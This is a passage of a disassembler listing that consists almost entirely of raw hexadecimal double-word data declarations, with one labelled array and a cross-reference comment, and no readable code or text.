		dd 0ACEAE909h, 0BB5A8AA5h, 0D8FB5EC4h, 552CE937h, 764FC6E1h
		dd 68C260B3h, 3B6C6A83h, 7222995h, 59A0575Bh, 9F28137h
		dd 5A972678h, 0D2FB3470h, 4300898Bh, 0FD3C11CAh, 0BB667660h
		dd 4A6D9A7Dh, 9A59409h,	0FC54AFCDh, 0FD26C262h,	2C44D6E5h
		dd 16AA93B0h, 0BC12F83Ch, 50492F7Ah, 0DBD40B13h, 2458D636h
		dd 52D9F717h, 6F5308h, 0C91D992Dh, 0C74A219Eh, 67A0FBD9h
		dd 0B72B71CFh, 48451059h, 0B60276F8h, 0DEE8023h, 0C6340075h
		dd 0BBF02829h, 0A30C036Bh, 17C0C0FEh, 0F4FE0E9h, 75D30110h
		dd 0E9E6D95Ah, 0FBF66012h, 4B62D431h, 0A092DE38h, 1C6E122Ah
		dd 0D0DECB95h, 2ABF3AB5h, 8F2F2B9Eh, 0D95618A7h, 8A123F49h
		dd 6F1569EEh, 0AFD63AA3h, 0E982ABCAh, 994909C4h, 0A14A81DEh
		dd 5B45774Bh, 0DC4D373Bh, 5E161D2Eh, 0C80C6731h, 45EB53DBh
		dd 3CEDED01h, 0BDC84EE1h
		dd 0FD7C005Ch, 452B2D17h, 35076AC0h, 4F1F76AAh,	224197A0h
		dd 0C5E938E2h, 0FF054863h, 8F680309h, 0AE52B03Ah, 0F0FB95FDh
		dd 7B56370Dh, 0AB0AC8B5h, 9DC921E0h, 1ED09F54h,	17D195E8h
		dd 0BFC58344h, 0E9EE30AEh, 109D1CD6h, 90DDF7F4h, 324F005Ah
		dd 5753273Fh, 76008BBFh, 0E7817A72h, 60600C71h,	0A980C06h
		dd 89982CD6h, 724C5C01h, 3170E918h, 0EE4A903Eh,	0B73E3526h
		dd 22511728h, 0B01A2AE3h, 25D7A05h, 796F93D4h, 567625BEh
		dd 0C11C5F27h, 1DD26815h, 9AB4929Dh, 3088265Fh,	6F50831h
		dd 0C3002E28h, 1B444519h, 2A68F329h, 2694020Eh,	408D0878h
		dd 30B7C4Dh, 8055DA9Fh,	9256E908h, 0F38018B4h, 0C0DF06F0h
		dd 91556097h, 77BD48Bh,	4845AC00h, 70753558h, 0DF301127h
		dd 5AD0AE82h, 0ED0FA07Dh, 0A0759F6Ch, 965F39C0h, 0FC6DC2EFh
		dd 5D26C5F1h, 0A7402610h, 25B7028Ah, 5EF589BFh,	60548950h
		dd 810343E1h, 0FF400DE3h, 41C20003h, 0E987CFFEh, 2980DD8Ch
		dd 0B520EECDh, 545E3286h, 0A2D2B09h, 2133B173h,	0C19F602Fh
		dd 530206EDh, 31D7FBBh,	0F998038h, 1A7B2D02h, 0B4A531E9h
		dd 8D147DFh, 0BB1F0145h, 58A0390Fh, 270C783Eh, 7D426ACDh
		dd 0E9099E7Eh, 6817E047h, 8C2C4FDDh, 6401EC1Bh,	0F12D78BBh
		dd 0E9D0BE5Dh, 0FFDD4DF9h, 5F30548Fh, 3A0471ECh, 0C0368030h
		dd 0BB27C2CFh, 0E9483376h, 0F76FC4E8h, 80595D05h, 4BEBF533h
		dd 874A7C14h, 0FE901C95h, 3D3AB120h, 0A2C2D816h, 0E89779A3h
		dd 0BDD1B024h, 0EFEC39E6h, 5BF7F495h, 2D509AF3h, 6A00631Ah
		dd 200D3FBAh, 0B70E8237h, 0CE971C58h, 0F162BD8Ah, 0A5D0C577h
		dd 5697E25Eh, 123EB05h,	0F4F94E8Ch, 5B864CB2h, 8F28FAD7h
		dd 258297AEh, 635FC1FEh, 4714D131h, 4BCA554h, 0D2CDEC97h
		dd 0EA4134B1h, 943C0242h, 61E90D61h, 6F52392h, 776B6840h
		dd 714F31FBh, 0F805C3DBh, 9FF67856h, 19E5614Fh,	2F504BFh
		dd 9084820h, 0D584FE01h, 0D7CEFF8Ah, 0C5134E7Eh, 0C4DBB25Fh
		dd 5A05FAD1h, 0EF9FC25Dh, 60323AFDh, 8078D8BCh,	0F439805Bh
		dd 0F5C49D64h, 887AEC82h, 20CF46E3h, 68121235h,	94AC37C2h
		dd 0A12A85A4h, 97BD3E6Ch, 0D097E9E0h, 5E981991h, 80DA038Ah
		dd 0F6E4B151h, 80CBD150h, 0F1E63AFAh, 0CC4A4775h, 0E2B61507h
		dd 0F9AFE6D3h, 6B8139FCh, 1698B4F7h, 0B6722ADFh, 5E545Bh
		dd 2DF870DBh, 8F0B27BEh, 0FF01D207h, 0F1C21533h, 0EBF64B89h
		dd 2F826B88h, 207BF587h, 0F0019BD0h, 2F5115A1h,	0F2D85CF6h
		dd 0A7C0A074h, 0B68FB2C7h, 0FE8922DCh, 2173E913h, 463931CFh
		dd 98289650h, 0FC65B0A6h, 8EF5EBB0h, 55C007Fh, 1361B1DCh
		dd 6AAC315Ah, 0B528BC5Ah, 93CA9305h, 979E45B9h,	0BD5742FDh
		dd 79C26C5Dh, 658B2DC0h, 9B702426h, 218B2E24h, 0F181D5DAh
		dd 6E42437Dh, 3EE873A1h, 987458A5h, 4A37F704h, 4212AF26h
		dd 20344501h, 0F470603Fh, 12309749h, 0B50B6FF9h, 0D894E912h
		dd 0C7BE0496h, 0AB32BD3Bh, 0DEF79281h, 19C0AA4h, 0E86CF0C6h
		dd 512897Ah, 0B6E80157h, 0C2EAEA4Eh, 88D2C928h,	1CAEC23Ah
		dd 0A53FF6F9h, 68BC0182h, 4578362Ch, 0ACE02DC9h, 3DFE5954h
		dd 94305B4Eh, 0AB34451h, 55F3817Dh, 8EC10106h, 3B1DAE32h
		dd 0C63C28C1h, 0F936A5h, 0E2570DB2h, 98A4709Eh,	79AD8042h
		dd 7C653359h, 0C8A46970h, 0AE94E2C9h, 0DD19FBC8h, 806E013Ah
		dd 51545A35h, 0E5582A25h, 4D78AF81h, 0A761E7B7h, 0D8082BD9h
		dd 36702FCEh, 0FD16Bh, 4729EF99h, 603B607Bh, 23DA05BBh
		dd 7A98DFF4h, 734C2603h, 0EDEAC135h, 0C20226B8h, 2585A01Ch
		dd 30ADE2DDh, 0ABE8E9F1h, 55D0F2A7h, 2F5A1191h,	133A72A8h
		dd 1EC0C596h, 85F503B2h, 0E78FB753h, 0B25242EFh, 2BE20160h
		dd 1FEEDE9Fh, 32EA8ED0h, 0C7DB6E1Bh, 0E6012C26h, 8101EB10h
		dd 0AF606BCDh, 41F12F73h, 0B46AA735h, 7C25D8ACh, 152D839h
		dd 51993C34h, 248487E9h, 605A8D10h, 26A02630h, 58111252h
		dd 0AF0BEF92h, 54F4A42Bh, 0E98300CAh, 97011C58h, 5C7BD2EBh
		dd 863C2953h, 0E4F86112h, 42138BEFh, 10AB4181h,	3901C508h
		dd 17A763Fh, 13C744F7h,	0EBAEC108h, 0C65981FFh,	15BB14ABh
		dd 0BEC9C53Fh, 7B25088Eh, 0B9754E50h, 49204B00h, 4E06DFBBh
		dd 0A848972Dh, 6B14A8C3h, 2D9C6F12h, 949B505Bh,	6C886085h
		dd 0EDB10187h, 0A1501CC5h, 0B4DD01E1h, 5BFC3085h, 0ACEAB02Bh
		dd 9BA9E917h, 0C6611BCEh, 619E2739h, 0E8C43A7Bh, 66580809h
		dd 0A02D057Dh, 85661551h, 7600ED6Ah, 189A8425h,	0B49CC5B2h
		dd 9DE2EC28h, 26E0816h,	8417BADh, 6E6ED92Eh, 4F300399h
		dd 0C642B762h, 20121ED7h, 45A3CF5Ah, 2CD21DBAh,	438C8F9Fh
		dd 911C0A4Ah, 5620C101h, 0B93FE1DCh, 75859E85h,	0E1124008h
		dd 0CA609697h, 3EAB1310h, 13F832Dh, 3AC3F281h, 3E210608h
		dd 0DA885904h, 0F71C28EBh, 44281902h, 0F0D5E91Fh, 1768129Dh
		dd 2E1D8C49h, 0D1BBBD62h, 2AEC555Ah, 79E6AC3Ch,	4251FBB5h
		dd 0B4691E4Ch, 0EB48023Ch, 0F8E86099h, 4F380B87h, 19B90CC1h
		dd 89301685h, 8BBA80EBh, 0FF7C993Eh, 0E7C2AB5Bh, 25F1755Ah
		dd 0DC54624Bh, 0D92D60B3h, 414B6B5Dh, 7F274CA8h, 3A58B6E1h
		dd 5F088404h, 5989A2B2h, 0D9A00346h, 132C2377h,	0A634FD2Eh
		dd 4AA0817h, 0A2F81Eh, 480C11BBh, 7045F44Eh, 0EEE5D3EFh
		dd 173A3169h, 93AFB91Dh, 88429E44h, 79F3B1C1h, 257F0DACh
		dd 0D2834D09h, 3B52238h, 9CFBF1Ch, 403E648h, 0FEBEF635h
		dd 8CC102C3h, 41DA39AFh, 4CBE50Ah, 62777A80h, 4D5E3E03h
		dd 94040D25h, 7AE7FB5Dh, 9702EC79h, 7A528756h, 545705F1h
		dd 530C18E9h, 0A085FFA7h, 2115826h, 1A01B2F3h, 807F296Ah
		dd 17D5E1DFh, 802A48D0h, 0C99C073Ch, 7B7F0BBFh,	495C20Dh
		dd 1C5EBFCEh, 1A18F516h, 2EE1BF6Bh, 0E86EE72h, 3C172BB6h
		dd 0EB40BE96h, 11862568h, 8E2D0F66h, 0CB0F594Bh, 0CB6E557h
		dd 0BD1CC975h, 777DA01h, 0DEF58149h, 0E8010D89h, 9BC220FCh
		dd 1B530522h, 0D04BDACDh, 96F94A0h, 5E4B9070h, 0AF732F05h
		dd 0C0CB6A5Dh, 31FA1486h, 0D114D670h, 50ADDCEBh, 328075B4h
		dd 35427301h, 0BC361240h, 945AC08h, 12347D52h, 680808B9h
		dd 0FBB95B45h, 885DE98Ah, 31010BE3h, 568F68C1h,	530F7F63h
		dd 60645B58h, 6F1ACD10h, 7CD7C244h, 836B20Fh, 9A09B6CEh
		dd 47B8788h, 2C7B2430h,	95204835h, 574C024h, 0EA36E180h
		dd 7187D185h, 50D6DC8Fh, 0FE961C03h, 0A39431CFh, 0FFCA829Fh
		dd 1170BF8Dh, 4C942DAFh, 0A310CE1Dh, 0E03501DDh, 5A7F9B26h
		dd 16814D8h, 39051ABAh,	28F0D4CCh, 0D87D978Eh, 0C8559100h
		dd 89CD17B2h, 254CBCFh,	0BD732BE7h, 0F1EB403Ah,	0F5E0B77h
		dd 2FEDF21h, 0FE9DC026h, 0E43CFBC9h, 0A7DE95F1h, 0BD3B7658h
		dd 0ECBFE94Ch, 88B22D39h, 81402774h, 3F07EDE2h,	607A7A9Ah
		dd 2DC795DCh, 407B1D3Ch, 4BEB84Fh, 13C9E05Ch, 76659409h
		dd 967F27F4h, 2BCB6B76h, 6978FFDh, 0B02E8E96h, 20084111h
		dd 257631BAh, 301220F2h, 0F80F389Eh, 2EDB44A6h,	0C70271B9h
		dd 33A94968h, 2809865Ch, 0FA71814Bh, 0EDA60EE9h, 4790931h
		dd 1706952Ah, 7BDFB5F8h, 304E39h, 0A04B04B9h, 0C0EAC179h
		dd 22FEC224h, 963EF92Ch, 17FBE0Fh, 1420E90Ah, 99EB86Ch
		dd 0CDD648CEh, 4009A941h, 0DF28886Fh, 9D04D945h, 0FD4343F8h
		dd 0BA7929CFh, 898E65F9h
		dd 0ABC7E40Ch, 2F7DFABCh, 7F5E4914h, 4C7B5CD1h,	40FAF35Dh
		dd 0B80FCBBCh, 0BED6CA07h, 1D59408h, 0A64F7A68h, 1F6A8C7Fh
		dd 5AC1A9BCh, 0C3BFF0E8h, 3A6C3113h, 53ED2EEh, 6EF0EB60h
		dd 4D5F0718h, 2E3E670Eh, 1206CA23h, 8D2CEECEh, 3BC841CCh
		dd 0E616B5CBh, 0C92BD12Fh, 54C220D9h, 33FEE69Ah, 74B74F70h
		dd 0E2FC7AF4h, 0BEF82158h, 1179E27Eh, 9B58480h,	1798E5C0h
		dd 0E98BAE6h, 0ED0F8876h, 6EFD2852h, 0D2ADB7C5h, 6640AD3Eh
		dd 162757A0h, 0FD27A1B2h, 0E14015Fh, 0ED303299h, 716EE1AFh
		dd 4FB407Dh, 815EE0BFh,	5286E195h, 0B2EAF93Fh, 7DB34A4Bh
		dd 0D4379316h, 0E1018615h, 0DD212058h, 5A429120h, 7CA9A708h
		dd 0D65DF127h, 0FAA01371h, 0C81AB95Ch, 9306114h, 24643200h
		dd 9300130h, 78F6DC86h,	0E3E9E9D3h, 168C1D16h, 818B8AA1h
		dd 8F58F7C5h, 0E03ADD1Ah, 0D70989DAh, 57D092E9h, 17684F1Ah
		dd 0FC09B9C7h, 0F221F351h, 0BD6810B8h, 0D6E9090Fh, 0C1277F7h
		dd 37B65560h, 401E2F12h, 0F701D90Bh, 70D5B41Ah,	0B1602715h
		dd 5CA74FDBh, 0C61F059Ch, 15BF519h, 2E875B08h, 0E9252BA3h
		dd 0D41D8975h, 0C14CCBE3h, 5B664D30h, 30099ECAh, 0DF0C20DEh
		dd 6F4AB742h, 28E92C0Eh, 57412D4Eh, 1E263CCCh, 6800515Eh
		dd 2CFD7077h, 0F281075Ah, 2E7833A2h, 0BFBEAC0h,	61B71BCAh
		dd 93DA3117h, 7BDC1E40h, 0C427537Fh, 8621B09Fh,	5D00497h
		dd 0A7580FDh, 367A394Ah, 0F91F13C3h, 0A1F828AFh, 6164B308h
		dd 1AA2A758h, 8B646B85h, 0C72F380Fh, 0E8736466h, 5D1E85B2h
		dd 535A9356h, 2801AE6Fh, 72396F1Ch, 3EB0AF40h, 4217670h
		dd 983F62E6h, 7E2AC055h, 757CF76Ah, 18F0CD07h, 0E560060Bh
		dd 4CB54F48h, 7F732922h, 0E21B4F9Bh, 6A710DADh,	50E41E0Eh
		dd 59E72712h, 0BA4A55D2h, 0F825B287h, 0F5B97DC7h, 3E5A6819h
		dd 41A9262Ch, 0C7A40050h, 166E7B3Ah, 0BD7200C2h, 30EEC164h
		dd 9B704607h, 0F8172438h, 0B504F301h, 0E21395DCh, 1A553B47h
		dd 82140268h, 7E6C01B6h, 1B562D58h, 8DFA5493h, 0E685019Fh
		dd 7003ED7Eh, 0A16C40Ah, 0DEE50653h, 0EFFE0806h, 4E697670h
		dd 41D7F948h, 12894408h, 1D1A8523h, 0C80216FBh,	0C64D0E10h
		dd 42B076BEh, 2DFB3020h, 0EAC64401h, 6C497C0Bh,	0DFEFB225h
		dd 3DFAB791h, 0D760728h, 6CB2751Fh, 8537FC16h, 25A6518h
		dd 354AF7D0h, 32891C42h, 0F3AD9545h, 507103EBh,	0F78A5F8Fh
		dd 609871E0h, 55CFEA83h, 62BEBC30h, 5C7A4012h, 9DC523BEh
		dd 0C84C8024h, 0EF01B211h, 842005E7h, 68828431h, 0E1EC4710h
		dd 346F57C0h, 8DC2566Dh, 65FA68E9h, 0B133D50h, 3818B33Dh
		dd 0F8D5F01h, 1BA83D8Dh, 2FA83A1Ah, 7C55510h, 0D20CA224h
		dd 52B56927h, 0C158C441h, 6AE04E1h, 760B02B4h, 7AC17C6Bh
		dd 0C248C905h, 9492056h, 17284C13h, 0B78FF2E9h,	0DD1C6B88h
		dd 0E9286934h, 56B0591h, 309D43A1h, 0E4880476h,	540036BDh
		dd 5568E205h, 51C8293Fh, 1B21072Dh, 261D222Fh, 0D8D14DEBh
		dd 0BA68F02Dh, 1DA80C48h, 44421399h, 0A2DA31E9h, 7F4C15E6h
		dd 251D3719h, 37752B43h, 43CB9201h, 912A5467h, 57D54E19h
		dd 16BF659Dh, 0DA9AFFB6h, 0A458185Eh, 12FC2BF7h, 16206FB8h
		dd 558032Ah, 0BC30195h,	402DD099h, 0A174E907h, 0BD2153B5h
		dd 503BAFB0h, 3F05BB4h,	1FD03BE9h, 71E57920h, 60C17331h
		dd 0E94808C8h, 9BC04DF8h, 0FC4BF7C5h, 5882BD62h, 6AF6B04Ch
		dd 0FD3A68E2h, 0CE24E6ECh, 0B6947E2h, 9627A23Ch, 9F680190h
		dd 821A5731h, 724C61A6h, 5E238705h, 33BD291Dh, 0A029BF4Bh
		dd 1513DE44h, 89843DA8h, 0B424BCCFh, 6E5745BEh,	2138AE93h
		dd 2D0870BFh, 2851321Ch, 0C816FE02h, 505F6067h,	443527E9h
		dd 0DF3FED98h, 8C67F197h, 5F206D6Bh, 15780097h,	4B53CE2Ch
		dd 41EBBC29h, 941C8008h, 5A7FB87Dh, 881E4AE9h, 4F0B3713h
		dd 385B76E8h, 9D072DDBh, 45B814C5h, 0B9CEDF0h, 29168D5Fh
		dd 8804050h, 7F91E889h,	7BF23D0Ah, 0B8024EA4h, 911B274h
		dd 50004DA9h, 71225041h, 2D3BF6C8h, 0F6275956h,	4276529Ah
		dd 0DAA11D44h, 0C02BD047h, 263FF92Eh, 28E31CB2h, 4D1B67E1h
		dd 45D28FF1h, 0FD0C33B3h, 5DDBC58Fh, 60FA9AAEh,	0EF45495Ah
		dd 0BC8B011h, 2A32D77h,	0FF0D097Dh, 3DFC99C4h, 49787A18h
		dd 2F05C5ECh, 8076B283h, 6851402Fh, 48FCB7FDh, 0E9580E4Ah
		dd 0F509957Ah, 189D6775h, 7BD4D029h, 3CFC3EE1h,	0EBF6E3A7h
		dd 8CE6FA84h, 0C98B1B25h, 14275A7Ch, 2F629DDFh,	540C2E40h
		dd 9D16602Ch, 373AE802h, 0BCF8D542h, 65366F0Eh,	188A71Fh
		dd 8F804F54h, 6941C07Bh, 810445B9h, 1F42EB58h, 0E3DF0462h
		dd 0A0EBB832h, 4BF32E1Bh, 2CD0BF4h, 59650F4h, 5D478B1Eh
		dd 216F1567h, 21263B44h, 1F071E90h, 9385A204h, 13BAA6E9h
		dd 1D37BF57h, 5B01C244h, 0CCEFE480h, 0E1E0C1C4h, 154D9CFCh
		dd 4C568704h, 0AC824F24h, 62BEFEF2h, 985F27D1h,	822BAAA2h
		dd 8737C17Dh, 4622D7E2h, 0AC421FE3h, 84F3CDC0h,	50E83505h
		dd 55C5DE89h, 2D5A3EECh, 3284FCA3h, 0A4875D82h,	53F28ABEh
		dd 2D5862D9h, 25AC4DABh, 65FF7417h, 8498BC54h, 0BF17DE86h
		dd 0C4B10A44h, 1D83F6BFh, 613BD66h, 0E7B0108h, 90E9C828h
		dd 44FF2CA9h, 0C1872508h, 0C9400176h, 58535ADEh, 0D4C0C767h
		dd 210FED9Bh, 0F527B994h, 0E913CEBEh, 94D33BFAh, 0CFC9F844h
		dd 0E6E49531h, 0F9C49925h, 817EA7Eh, 5702FB9Dh,	0A93D6768h
		dd 7F65A016h, 0B944DA07h, 201E6AA6h, 0A168390Fh, 0FDDDCC5Eh
		dd 4229555Bh, 0E9FB07AFh, 58EB1A15h, 6E0004Fh, 0C46AD40Dh
		dd 16DBEA15h, 46344h, 695564C6h, 677C9435h, 18BE2B62h
		dd 31E67738h, 49553D42h, 108508C1h, 0FBF0215Eh,	0D3E27D37h
		dd 565F374h, 88A869E9h,	0AC053E4Eh, 0FE315E20h,	6E2AD9FBh
		dd 3743D181h, 0FFEC105h, 0FED16FE7h, 81004B94h,	7F1238EFh
		dd 44EB1B12h, 0C29B0Dh,	0F4802DB4h, 70C3E61Fh, 75E3784Eh
		dd 125863EBh, 1DE428ABh, 5320672h, 6C81BBBBh, 3F6D886Dh
		dd 0E19A0539h, 0AE830603h, 7F60CA5Eh, 1D7EBCE8h, 0FBDB9F41h
		dd 0EEC1113h, 8DC62D09h, 2CD6B989h, 452BF381h, 2C303E54h
		dd 0F2330983h, 39225317h, 888DF731h, 57D6D408h,	0FAE9562Dh
		dd 2EF8BD64h, 83769EB2h, 0B823D3BFh, 13653E09h,	0EEF18120h
		dd 0CB4A09DBh, 0E90B71B8h, 0C27226B7h, 82C6817h, 0AA3A768Ch
		dd 0FF8C60CEh
dword_4F0044	dd 72D72655h, 0A4ED13ECh, 561491BEh, 736641D8h,	7E25C00Eh
					; DATA XREF: ___:00437A64o
		dd 39F8F608h, 0C27C86B1h, 0A4CF7B55h, 0C2F01E29h, 411FE9C7h
		dd 926230D6h, 0E526680Dh, 7A5F81F9h, 0B45AD0DFh, 3B409B81h
		dd 781100BAh, 0F2816118h, 0D5162A80h, 0FBB42952h, 4D631251h
		dd 6E8A56Ah, 91011C08h,	6833CD52h, 8A7B622Bh, 310C20F0h
		dd 0D01D1E38h, 8EBC6B5Ah, 64BD68C2h, 0BA2E84B2h, 0B48FFC12h
		dd 0E27F8FE5h, 0B868C28Ch, 8DD2B170h, 0C2AFF83Ah, 55577468h
		dd 11A78798h, 7515E80h,	5618F1B9h, 0D485C23Bh, 0C2800DE8h
		dd 16D7AC5Ch, 65AFFD5Ch, 0DF1FBF7Dh, 2C6FEE48h,	80F72517h
		dd 4D2668BCh, 0CDF60081h, 0D124C30Eh, 12C04EE6h, 0F5BFE1C8h
		dd 3A1BB821h, 41E15FE9h, 0E54E05EEh, 0D5CF273h,	7DAD69EFh
		dd 9BCF25A0h, 7050607Ah, 1F0283F1h, 0ACE93530h,	0BD65C4AAh
		dd 0D9BD6A72h, 296C66FEh, 30025AC5h, 8F197C81h,	0F6D58600h
		dd 8408D269h, 0B917FE8Eh, 11DC301Ah, 9F55B75Bh,	0B60FBD59h
		dd 0C974E5A0h, 4213D7ADh, 1301E90Bh, 60E3E7FDh,	3CE8C127h
		dd 6A0EB4EFh, 0D40154AAh, 19DF049Eh, 88AB1479h,	33ECAD4Dh
		dd 8004CBB6h, 35C1DDE1h, 68F0D002h, 3FFBAC9Eh, 0CB09A4B6h
		dd 0A4F10116h, 48E82909h, 80A313DAh, 681DBF5Ah,	31561604h
		dd 6CCB7F1h, 7922D1Fh, 12376AF6h, 0E061FCE1h, 55F3E20h
		dd 709A372Dh, 0CC02BF9Fh, 0ABEDD9E9h, 350B02BAh, 8C0109ABh
		dd 0E8F424D8h, 7695F87Ch, 0EE8143EBh, 4C3078F0h, 859CAB5h
		dd 1B459108h, 0BC527BB0h, 9A470040h, 84CD816Bh,	0BD15B1Dh
		dd 31B0F580h, 12897596h, 0AC28E9EAh, 6D644A9Dh,	4CB2F7BAh
		dd 46642FAEh, 3EF078DFh, 0A3B927CEh, 0CD8243CDh, 5960DF2Bh
		dd 7D137CE6h, 55EC22EDh, 1E0CFC7Ch, 89A2BA52h, 0C05D4ADDh
		dd 7E55D0F1h, 55E9F221h, 912EB7CCh, 23BD4BE0h, 68590405h
		dd 2EF30255h, 0AB3E0E13h, 0DA288629h, 0D8C151B2h, 580042Fh
		dd 60072542h, 19A90C14h, 0E9134172h, 74417E9Ah,	3D0E2A43h
		dd 0A5610765h, 7E2C601h, 902ED2F0h, 0BD9A7039h,	464FE656h
		dd 4B0F0E4h, 6661EEBDh,	0CDFAC01Bh, 0E5247CCCh,	46098351h
		dd 0D85CA2E2h, 0E05785Bh, 574705DBh, 825EAA72h,	66FA203h
		dd 60CAF80Bh, 683409D6h, 80992120h, 23643055h, 5D4D6C14h
		dd 0E4B304F2h, 20BB3EB9h, 430EE95Bh, 0A93A0981h, 72201679h
		dd 5F2EEEB9h, 6D1B021Ah, 28D01D5Bh, 4A12E75Fh, 3808DBBAh
		dd 0E54DE9h, 805BFD08h,	1366A7F5h, 0AA41B252h, 0E80FAA5Ch
		dd 13EF172Ch, 24CCEA73h, 0DCDF5BFFh, 0F74866A6h, 65AC39D6h
		dd 0F3EAA527h, 0D23E169Bh, 2BB739AAh, 8180F9EDh, 735A9E9h
		dd 144A4375h, 7D281309h, 54D82502h, 0A9D76D81h,	0E9D5EE71h
		dd 2AD2F3BAh, 0C4EC9640h, 47F0EE65h, 9F4CF05Bh,	0C79E8759h
		dd 0D56B5309h, 5B8C23C7h, 0FF271AAh, 0F0C1EEE1h, 0EFD7265h
		dd 0DCC54D56h, 0E50AC01Ch, 474AF12Dh, 0D0F938E1h, 0E6BD916Eh
		dd 0F7A5C507h, 74AE0C04h, 1EF7132h, 5002C0ACh, 260C8248h
		dd 700F9E0Ah, 0F48C2011h, 0C4BF5878h, 259270Fh,	0C3FDA398h
		dd 81FE599Fh, 5CD7B95h,	7C25F95Ah, 0AABD02D6h, 5D4F932Ah
		dd 1C3E3BAAh, 26D10E74h, 0C318EDC0h, 0E91929B5h, 0D5615A1Ch
		dd 8BE4EBC9h, 8949BF8Dh, 5B2D365Bh, 65014CF4h, 0A8BC70D5h
		dd 9A050293h, 0DD0AA73Dh, 27076708h, 545AA87Ch,	6D862D3h
		dd 29810104h, 406B5CDAh, 0E581F5A2h, 0E21F4EF0h, 0FECB5258h
		dd 79227602h, 8B40281Ch, 31E6A4A7h, 3DE98BFBh, 0F79ED083h
		dd 25979A39h, 0E97A4016h, 0AFC54B36h, 0C4C91161h, 0F704A03Dh
		dd 0AE087C20h, 4AECF413h, 0C0FE2185h, 6139F66Ch, 0B8EFA250h
		dd 7466601h, 0DAABE916h, 0A37E1865h, 0DD5CC91Fh, 803818E6h
		dd 69AB4E23h, 7C727B87h, 0E9C27658h, 0D77AC57Eh, 58160827h
		dd 1ACD369h, 61CE360Fh,	97367C29h, 5F555105h, 0DA8AB935h
		dd 38205958h, 6A5DA390h, 7DBF52FDh, 64CB6448h, 251753E0h
		dd 0CBD8808Bh, 0A583D77h, 18D027F8h, 0CE097E8Fh, 33A1C94Bh
		dd 3A550B72h, 0EC9286B8h, 0A0E10326h, 0B06E3677h, 95FA50C1h
		dd 0B5017078h, 14AD341h, 74705C8h, 0F0D0D6DEh, 0DEF504E9h
		dd 130B0B4Ch, 9A3F4CFBh, 0C1D9BC0Dh, 9DD00E6Ah,	0CDC0BF19h
		dd 40828C66h, 2D36D50Fh, 7B7234E7h, 0C020883h, 74A13F9Ch
		dd 0D26CD75Dh, 52160F4Eh, 655101BAh, 7F397645h,	0EDC00AB2h
		dd 2B644078h, 0B4C5E790h, 16840E12h, 87BAE640h,	0B0195B7Eh
		dd 257D73DCh, 0FE0BE6A4h, 0D50F3257h, 0F8603FEAh, 272668ADh
		dd 2D0EB821h, 8CBA1657h, 0C16801C8h, 0CA800828h, 53E91A31h
		dd 9507BA96h, 8A50C1F8h, 7CEC03F5h, 8BFF08D6h, 90D15ACBh
		dd 0BB006410h, 0E313704Bh, 60EB213Ch, 40472DAEh, 7410A325h
		dd 0CB010158h, 9DD34EE9h, 6BCCF289h, 0E0595923h, 3920A4F8h
		dd 0F33A3A2Ch, 0F37EA75Ch, 0BF8FDFD3h, 0F4B7B431h, 4B4818BBh
		dd 1D87E710h, 8D233B3h,	5F0572F8h, 0C706EFC1h, 68123C3Dh
		dd 9914C425h, 0A06BF14Dh, 9E4CB7C6h, 0B1B3B14Ch, 0AE65FDC2h
		dd 0EDCD60A5h, 2F95A7B1h, 8E3E4FF6h, 9A40DC68h,	27D3026Fh
		dd 9532E622h, 8980234Ah, 11536925h, 17E07E9Fh, 81D8412Dh
		dd 0FBBF0CF1h, 0E3CDE5EFh, 6850001Fh, 3A5F13E9h, 0BD350958h
		dd 0A7D7A85Ch, 84D2FBF5h, 3F847565h, 9FF8C053h,	584BC529h
		dd 0F8C59AB8h, 0F74B91EEh, 0C0ADC133h, 681DC405h, 90442AF9h
		dd 0C2819648h, 7442DF8h, 56BFA82h, 929FF5Dh, 46CA02h, 0BB4A55BFh
		dd 0FA896109h, 4489575Fh, 0BCF2504h, 629CD651h,	5921D9D3h
		dd 8B6AC501h, 4FA548FCh, 5AE99A9Ch, 0F7B980AAh,	282F68DEh
		dd 482C661Fh, 110AD61Bh, 1819C621h, 0E2812576h,	6F71540Bh
		dd 341F807Bh, 92084535h, 9AACC4BFh, 48A6146Dh, 261709AFh
		dd 279704Ah, 431E2814h,	962D3F7h, 33D7847Dh, 0EEECDA8Dh
		dd 0DFE8B561h, 0A9066A14h, 16BA5849h, 13919C0Dh, 0B1CB0405h
		dd 4004A879h, 1D905A07h, 0BDD30B20h, 0C70770D8h, 0AABC7F84h
		dd 4140C16Fh, 0F57E26C8h, 5F080291h, 2215E7DDh,	9F8B74AAh
		dd 0E90B1015h, 61716261h, 4B247A0Dh, 0AF6814ACh, 8BDFB23Eh
		dd 4C59D184h, 0FE0DF88h, 0D4E7C8FEh, 0EED70B07h, 583DC415h
		dd 81D1386h, 0F20F4CDh,	0D3725E2Eh, 0FF93C388h,	0D25D1025h
		dd 6A1B0E76h, 0E384D45h, 532461EFh, 0E905A363h,	0EAA8FEAFh
		dd 163D548Fh, 2537F92Fh, 0DD3C05Ch, 8A7A2DC3h, 971EE4F6h
		dd 29EECABDh, 81A77A66h, 0C017F85Fh, 721E67C5h,	0B949BD68h
		dd 6A22D9FBh, 9FB23FB0h, 5C4B146Ch, 5612011Dh, 10D0C00Bh
		dd 3D4D0213h, 41BAC699h, 0A15E865Dh, 0A2382A6Dh, 0B5A0BD68h
		dd 3D7FDAEAh, 32690C69h, 50A3CEA7h, 4003CFC2h, 0E327C159h
		dd 0ADB0F106h, 402DBB52h, 0BB1B7FF4h, 0E8D80CD2h, 0F815FCB5h
		dd 9B5F5E9h, 40D3F4CBh,	4ECCB411h, 1BD6EFCh, 2CAC044Dh
		dd 30BAA06Bh, 73C18039h, 0A781E150h, 0BBB9E45Eh, 0EA1AABD3h
		dd 7DCF7D3Ah, 7585902Dh, 0F7BFA45Dh, 0C684DE7Dh, 0ECA91642h
		dd 0B570FC58h, 2F474D82h, 0A1AF1455h, 77C69782h, 0B1DAB8BBh
		dd 0B91751D6h, 0B43B7AA5h, 0E6437658h, 3CA46802h, 71516D58h
		dd 68D50149h, 316E641Bh, 6DFC495Bh, 374C0466h, 0E3C409F3h
		dd 43012072h, 1302ED3Eh, 0D844685Bh, 7216B567h,	88886396h
		dd 8EBD0128h, 4277C818h, 580AF180h, 9425460Ah, 83904CA8h
		dd 7F2EE60Fh
		dd 2DFFC41Eh, 4175FB98h, 0BD8F2031h, 62B44C1Eh,	0E321A9CCh
		dd 0E1C11ED9h, 2BD19805h, 49B8DFF6h, 3B813B40h,	8217EBCBh
		dd 9C66003Fh, 0E90A2907h, 0A040B25Eh, 7F1970EBh, 6BC1BC08h
		dd 975416F5h, 6CF53E9Ah, 0E6E91070h, 5359125Dh,	5E98CCF8h
